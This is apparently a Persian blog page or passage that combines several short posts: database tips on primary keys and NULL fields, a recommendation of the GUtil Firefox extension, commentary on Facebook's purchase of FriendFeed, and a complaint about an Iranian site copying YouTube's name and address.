این نکته را هم در نظر داشته باشید که بدون کلید اصلی و یا یک کلید یکتا نمی توانید ارتباطی مابین جداول بر قرار کنید.
- استفاده از فیلد های NULL بی مورد
همیشه در استفاده از فیلدهای NULL دقت کنید. سعی کنید که فیلدهای رشته ای را NULL قرار ندهید چونکه یک معنای زاید به آن فیلد داده اید، مگر اینکه واقعا به null نیاز داشته باشید. یک کاربرد مفید null بودن فیلد برای کلید های خارجی هست که نشان می دهد، هیچ ارتباطی در رکورد جاری تعریف نشده است. نمونه ای این کاربرد را در تصویر زیر مشاهده می کنید.
در کنار استفاده از فیلدهای null می توانید از مقادیر پیش فرض هم استفاده کنید تا هیچ فیلدی ندانسته خالی رد نشود. این کار کدهای sql شما را هم کوتاه تر خواهد کرد.
در همین زمینه مطالعه کنید:
با فایرفاکس همیشه گوگلی باشید!
این روزها آن قدر سرویس های گوگل زیاد شده که آدم آدرس آنها رو بعضی وقتها یادش میره.چه میشه کرد،انسانه و این مشکلاتش!
اما نگران نباشید.فایرفاکس به شما این امکان رو میده که به راحتی هر چه تمام تر به این سرویس ها دسترسی پیدا کنید.
افزونه های مختلفی برای دسترسی آسان به سرویس های گوگل نوشته شده که بدون شک یکی از بهترین افزونه ها برای این کار GUtil هستش…
GUtil به شما این امکان رو میده که به آسانی به سرویس های مختلف گوگل دسترسی داشته باشید.برای این کار تنها لازمه که سرویس های مورد نظر خودتونو از میان انبوه سرویس های گوگل انتخاب کنید و نوع نمایش آنها را هم مشخص کنید.
کار با این افزونه اصلا سخت نیست.ولی می توانید مطمئن باشید که پس از مدتی به یکی از افزونه های ثابت فایرفاکستان تبدیل می شود.از ما گفتن بود؛دانلودش با شما…
راستی،داشت یادم می رفت.اگر این افزونه را نصب کردید و از آن خوشتان آمد،با گوگل ریدرتان مشترک فید موج من شوید:
فرندفید به فیس بوک فروخته شد!
تمام شد.رقابت بین دو غول بزرگ وب سایتهای اجتماعی برای همیشه تمام شد و تا مدتی دیگر اثری از “فرفر” دوست داشتنی و محبوب نخواهد بود.”فرفر”ی که با ظاهر ساده و محیط جذابش دل خیلی ها را ربوده بود تا مدتی دیگر به طور کامل تحت سلطه ی فرمانروایی فیس بوک خواهد بود.به هرحال هر حال،هر چه باشد فرندفید برای مدیران فیس بوک ارزشمندتر از توییتر است…
علاقه مندی فیس بوک به فرندفید را مدتها بود که می توانستیم احساس کنیم.انگار که فیس بوک پس از اضافه کردن قابلیت “لایک”به سرویسش،اولین لایک را برای فرندفید زده و علاقه اش را به مغزهای متفکر آن اعلام کرده است!
همه ی ما می دانیم که از طرفی فیس بوک با بیش از ۲۵۰ میلیون کاربر نیازی به کاربران فرندفید ندارد و از طرفی دیگر آن قدر ابهت و بزرگی دارد که سرویس رقیبش را با خرید آن تعطیل کند.پس تنها دلیلی که برای خرید فرندفید باقی مانده،استفاده از مغزهای متفکر آن است.مسلم است که ترکیب تعداد کاربران فیس بوک و قابلیتهای کنونی آن با ایده های ناب متفکران “فرفر”ی،ابر سرویس اینترنتی ای را به وجود می آورد که تا مدتها کسی نمی تواند به رقابت با آن فکر کند!سرویسی عظیم،جذاب و منحصر به فرد که همانند آهنربایی بزرگ کاربران اینترنت را به خودش جذب می کند.
تکلیف فرندفید هنوزمعلوم نیست و کاربرانش از فروش آن بسیار ناراحت اند.ولی از آنجا که خودم فیس بوکی هستم این خبر را به فال نیک می گیرم و منتظر ابر سرویس اجتماعی دنیا می مانم.امیدوارم که تا آن موقع عمو فیترباف دست از این مسخره بازی هایش بردارد و بگذارد که با کتاب چهره!از اینترنت لذت ببریم:)
یوتیوبی باشیم،اما یوتیوب فارسی نباشیم
یوتیوب سایتی است برای به اشتراک گذاری ویدئو که به خوبی جای خود را در میان کاربران اینترنت باز کرده است.هر چند که در وقایع اخیر،این سایت قربانی اشتباهات ابلهانه و نابخشودنی مسئولان آی تی ایران شد و سدی به نام فیل.ترینگ مانع از دسترسی تمامی ایرانیان به آن شد؛اما به شهادت بسیاری از کاربران فعال اینترنت در ایران محبوبیت این سایت نه تنها پس از فیل.تر شدن آن کم نشد،بلکه هر روز بر نیز بر تعداد مخاطبان و اعضای آن افزوده شده و کاربران آن نیز هر روز بیشتر و فعال تر میشوند.
به هر حال،در مزیت یوتیوبی بودن بسیار گفته اند و همین بس که شما میتوانید یک کانال اختصاصی برای خودتان دست و پا کنید و از ودکست و کلیپهای مورد علاقه تان تا ویدئوهای خبری و افشاگرانه و حتی قسمتهایی از برنامههای مورد علاقه تان را در آن با دیگران به اشتراک بگذارید.
بله،یوتیوبی بودن خوب است اما یوتیوب فارسی بودن به هیچ وجه توصیه نمیشود !حالا قضیه یوتیوب فارسی چیست ؟عرض میکنم.به احتمال زیاد اولین غرفه ای که توجه مراجعه کنندگان را در فروشگاه رسانههای دیجیتال !به خود جلب کرد یوتیوب فارسی بود.
بله،کاشف به عمل آمد که داستان facebook.ir به شکلی بدتر تکرار شده و ظاهرا این دفعه حتی کاربرد اصلی و نام سایت را هم تمام و کمال از یوتیوب کپی کرده اند !
ما رفتیم و با مسئولان غرفه شان صحبت کردیم و گفتیم که آقایان،این دیگر چه جورش است؟اصلا به قوانین مالکیت دامین نگاه کردید؟و جوابمان را هم اینگونه دریافت کردیم که “دامین مال ماست.هیچ کسی هم نمیتونه ادعای مالکیتش رو بکنه.تازه،ما utube.ir رو هم ثبت کردیم که آدرس اصلیمونه و اگه اون آدرس رو گرفتند،این آدرس رو نمیتونند بگیرند.” ما که در این لحظه ۲ تا شاخ کپی HellBoy بر روی سرمان ظاهر شده بود گفتیم که “utube.ir آدرس اصلیتونه؟پس چرا رو ال سی دیه به این بزرگی youtube.ir رو تبلیغ میکنین؟” گفتند که “تبلیغ رو قبل از این تصمیم گیری ساختیم.” بعدش هم ما گفتیم که “یعنی شما اول تبلیغ میکنید،بعد به آدرس اصلی فکر میکنید؟”اونها هم با یه لحنی که انگار یوتیوب برای انتخاب آدرس و نامش مقصره گفتند که “تقصیر ما نیست که u و you یه جور ادا میشن.”
البته مکالمات این چنینی ما با آنها یه ۱۰ دقیقه ای ادامه داشت و در آخر ما فهمیدیم که نرود میخ آهنی در سنگ !
واقعا دزدی نام و آدرس یه سایت معروف و استفاده از اسکریپت رایگان PHPMotion کاری داره؟یعنی استفاده از محبوبیت و شهرت یه سایت معروف،پیامی به غیر از دزد بودن این آقایون رو میرسونه؟اون هم با دلایل مسخره و تابلوئی مثل هزینهی کمتر تبلیغات و یکسانی تلفظ u وyou ؟!
امیدوارم مردم ایران یه روز به درک صحیحی از قوانین بین المللی و رعایت حقوق دیگران برسند.تا اون روز هم ما باید چپ و راست شامل یه همچین دزدی هایی باشیم !
بعدا نوشت : راستش این مطلب رو پیشتر نوشته بودم و با خودم میگفتم که شاید این بساطشون رو جمع کنن.ولی حالا…